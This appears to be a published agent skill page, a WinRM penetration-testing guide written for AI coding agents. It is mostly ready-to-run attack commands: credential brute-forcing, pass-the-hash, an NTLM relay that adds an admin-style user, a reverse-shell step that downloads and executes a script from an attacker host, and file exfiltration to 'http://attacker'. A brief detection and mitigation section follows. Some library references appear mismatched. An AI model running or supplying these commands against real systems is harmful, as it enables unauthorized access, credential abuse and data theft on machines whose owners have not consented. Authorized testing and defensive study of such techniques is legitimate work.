# Winrm Pentesting

> How to pentest Windows Remote Management (WinRM) on ports 5985/5986. Use this skill whenever the user mentions WinRM, Windows remote management, ports 5985 or 5986, PowerShell remoting, evil-winrm, WS-MAN, or needs to connect to/execute commands on Windows systems remotely. This includes brute-forcing WinRM credentials, pass-the-hash attacks, NTLM relay to WinRM, and lateral movement via WinRM.

- Skill: `abelrguezr/winrm-pentesting` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/winrm-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/winrm-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/winrm-pentesting

---


# WinRM Pentesting

Windows Remote Management (WinRM) is a Microsoft protocol that enables remote management of Windows systems through HTTP(S) on ports **5985 (HTTP)** and **5986 (HTTPS)**. It leverages SOAP and is powered by WMI, essentially providing an HTTP-based interface for WMI operations.

## Quick Start

```bash
# Test if WinRM is configured on a target
test-wsman <target-ip>

# Connect with evil-winrm (Linux)
evil-winrm -i <IP> -u <username> -p '<password>'

# Connect with hash
evil-winrm -i <IP> -u <username> -H <hash>

# Brute force with crackmapexec
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt
```

## Testing WinRM Configuration

### From Windows (PowerShell)

```powershell
# Test if target has WinRM configured
Test-WSMan <target-ip>

# Expected output for configured target:
# ProtocolVersion: WS-Management 1.3
# ProductVersion: Microsoft Windows Operating System
# SchemaVersion: http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd
```

### From Linux

```bash
# Using pypsrp (Python)
python3 -c "from psrp.client import Client; c = Client('target', username='user', password='pass'); print(c.execute_cmd('whoami').std_out.decode())"

# Using winrm-cli
winrm id -r:https://target:5986/wsman -u:username -p:password
```

## Connection Methods

### evil-winrm (Ruby)

```bash
# Install
gem install evil-winrm

# Basic connection
evil-winrm -i <IP> -u <username> -p '<password>'

# With hash (pass-the-hash)
evil-winrm -i <IP> -u <username> -H <ntlm_hash>

# With Kerberos (v3.x+)
evil-winrm -i <IP> -u <username> -k --spn HTTP/<IP>

# With certificate authentication
evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem

# Session logging
evil-winrm -i <IP> -u <username> -p '<password>' -L session.log

# Disable remote path completion
evil-winrm -i <IP> -u <username> -p '<password>' -N
```

### PowerShell Remoting (Windows)

```powershell
# Test connection
Test-WSMan <target>

# Execute single command
Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} -Credential <domain>\<user>

# Execute local function remotely
Invoke-Command -ComputerName <target> -ScriptBlock ${function:myfunction} -ArgumentList "args"

# Execute script file
Invoke-Command -ComputerName <target> -FilePath C:\path\to\script.ps1 -Credential <domain>\<user>

# Get interactive session
Enter-PSSession -ComputerName <target> -Credential <domain>\<user>

# With local user (note the ".\")
$password = ConvertTo-SecureString 'password' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(".\username", $password)
Enter-PSSession -ComputerName <target> -Credential $creds

# Bypass proxy
Enter-PSSession -ComputerName <target> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)

# Save and restore session
$sess = New-PSSession -ComputerName <target> -Credential $creds
Enter-PSSession $sess
# Later restore:
Enter-PSSession -Session $sess

# Background session (don't close)
Exit-PSSession  # Leaves session in background if stored in variable
```

### crackmapexec (Linux)

```bash
# Brute force
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt

# Test single credential with command execution
crackmapexec winrm <IP> -d <domain> -u <user> -p '<password>' -x "whoami"

# With hash and PowerShell command
crackmapexec winrm <IP> -d <domain> -u <user> -H <hash> -X '$PSVersionTable'

# Note: crackmapexec validates credentials but doesn't provide interactive shell
```

### pypsrp (Python)

```python
from psrp.client import Client

# Basic connection
c = Client('target', username='DOMAIN\\user', password='password')
print(c.execute_cmd('ipconfig /all').std_out.decode())

# With SSL
c = Client('target', username='DOMAIN\\user', password='password', ssl=True)

# With Kerberos
c = Client('target', username='DOMAIN\\user', kerberos=True)

# Execute PowerShell
c.execute_ps('Get-Process | Select-Object -First 5')
```

## Advanced Techniques

### NTLM Relay to WinRM (Impacket)

Since Impacket 0.11 (May 2023), you can relay NTLM credentials directly to WinRM:

```bash
# Relay to WS-MAN (requires unencrypted HTTP on 5985)
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
                   --command "net user pwned P@ssw0rd! /add"

# Combine with mitm6 for automatic relay
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support
```

### WSMan COM Object (Constrained Language Mode)

When PowerShell is constrained, use the WSMan.Automation COM object:

```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://target:5985/wsman', 0, $null)
$cmdId = $session.Command('cmd.exe', @('/c', 'whoami'))
$session.Signal($cmdId, 0)
$session.GetResults($cmdId)
```

### Reverse Shell via WinRM

```powershell
Invoke-Command -ComputerName <target> -ScriptBlock {
    cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://attacker:8080/shell.ps1')"
}
```

### Ruby WinRM Shell

```ruby
require 'winrm-fs'

conn = WinRM::Connection.new(
  endpoint: 'https://IP:5986/wsman',
  transport: :ssl,
  user: 'username',
  password: 'password',
  no_ssl_peer_verification: true
)

file_manager = WinRM::FS::FileManager.new(conn)

conn.shell(:powershell) do |shell|
  output = shell.run('whoami')
  puts output.std_out
  
  # Upload file
  file_manager.upload('local.txt', 'C:\\temp\\remote.txt')
end
```

## Enabling WinRM on Target

If WinRM isn't configured, you can enable it:

```powershell
# On the target machine
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

# Remotely via WMIC
wmic /node:<target> process call create "powershell enable-psremoting -force"

# Remotely via PsExec
PsExec.exe \\target -u domain\user -p password -h -d powershell.exe "enable-psremoting -force"
```

## Common Errors and Solutions

### TrustedHosts Error

```
"The WinRM client cannot process the request... the destination machine must be added to the TrustedHosts configuration setting"
```

**Solution:**
```powershell
# On the client machine
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="target1,target2,*"}'

# Or via PowerShell
Set-Item wsman:\localhost\client\trustedhosts *
```

### Constrained Language Mode

If you get errors about constrained language, the target has PowerShell execution policies restricting script execution. Use:

- WSMan COM object approach
- `evil-winrm` with `-e` flag to specify execution policy
- Direct command execution instead of scripts

### IPv6 Connections

For evil-winrm with IPv6, add an entry to `/etc/hosts`:

```bash
echo "<ipv6-address> target.domain" | sudo tee -a /etc/hosts
evil-winrm -i target.domain -u <user> -p '<password>'
```

## Detection and Evasion

### Detection Events

Monitor these Windows Event IDs:

| Event ID | Log | Description |
|----------|-----|-------------|
| 91 | WinRM/Operational | Shell created |
| 163 | WinRM/Operational | Shell created (alternative) |
| 182 | WinRM/Operational | Authentication failure |
| 4262 | Security | WinRM connection (source IP) |

### Mitigations to Check

```powershell
# Check if HTTP listener is disabled (good for defense)
Get-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener

# Force HTTPS only
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false

# Enable Extended Protection for Authentication
Set-Item WSMan:\localhost\Service\Auth -Value @{Basic="false"; Digest="false"; Kerberos="true"; Negotiate="true"; Certificate="true"; CredSSP="true"; CbtHd="true"; AllowUnencrypted="false"}
```

## Recent Vulnerabilities

### CVE-2021-38647 (OMIGOD)

Azure Linux agents with OMI (Open Management Infrastructure) versions < 1.6.8-1 have unauthenticated RCE:

```bash
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml payload>'
```

**Mitigation:** Patch OMI or block ports 5985/5986 from internet.

### Shodan Search

```bash
# Find exposed WinRM instances
port:5985 Microsoft-HTTPAPI
port:5986 Microsoft-HTTPAPI
```

## File Operations

### Upload Files

```powershell
# Via evil-winrm
upload local_file.txt C:\temp\remote.txt

# Via PowerShell
Invoke-Command -ComputerName <target> -ScriptBlock {
    $webClient = New-Object System.Net.WebClient
    $webClient.DownloadFile('http://attacker/file.exe', 'C:\temp\file.exe')
}

# Via pypsrp
from psrp.client import Client
c = Client('target', username='user', password='pass')
c.upload_file('local.txt', 'C:\temp\remote.txt')
```

### Download Files

```powershell
# Via evil-winrm
download C:\temp\file.txt ./local_file.txt

# Via PowerShell
Invoke-Command -ComputerName <target> -ScriptBlock {
    $webClient = New-Object System.Net.WebClient
    $webClient.UploadFile('http://attacker/upload', 'C:\temp\file.txt')
}
```

## Best Practices

1. **Always test connectivity first** with `Test-WSMan` before attempting connections
2. **Use HTTPS (5986)** when available for encrypted communication
3. **Be careful with brute-forcing** - it can lock accounts or trigger alerts
4. **Save sessions** when possible to avoid re-authentication
5. **Check for constrained language mode** if scripts fail to execute
6. **Monitor for detection** - WinRM events are logged and can be centralized
7. **Use proper credentials** - domain credentials work better than local for lateral movement

## Quick Reference

| Task | Command |
|------|--------|
| Test WinRM | `Test-WSMan <target>` |
| Connect (evil-winrm) | `evil-winrm -i <IP> -u <user> -p '<pass>'` |
| Connect (hash) | `evil-winrm -i <IP> -u <user> -H <hash>` |
| Brute force | `crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt` |
| Execute command | `Invoke-Command -ComputerName <target> -ScriptBlock {whoami}` |
| Interactive shell | `Enter-PSSession -ComputerName <target>` |
| NTLM relay | `ntlmrelayx.py -t wsman://<target>` |
| Upload file | `upload local.txt C:\temp\remote.txt` (evil-winrm) |
| Download file | `download C:\temp\file.txt ./local.txt` (evil-winrm) |

## References

- [evil-winrm GitHub](https://github.com/Hackplayers/evil-winrm)
- [pypsrp Documentation](https://github.com/diyan/pywinrm)
- [Impacket ntlmrelayx](https://github.com/fortra/impacket)
- [WinRM Protocol Documentation](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426)
- [HackTricks WinRM](https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html)

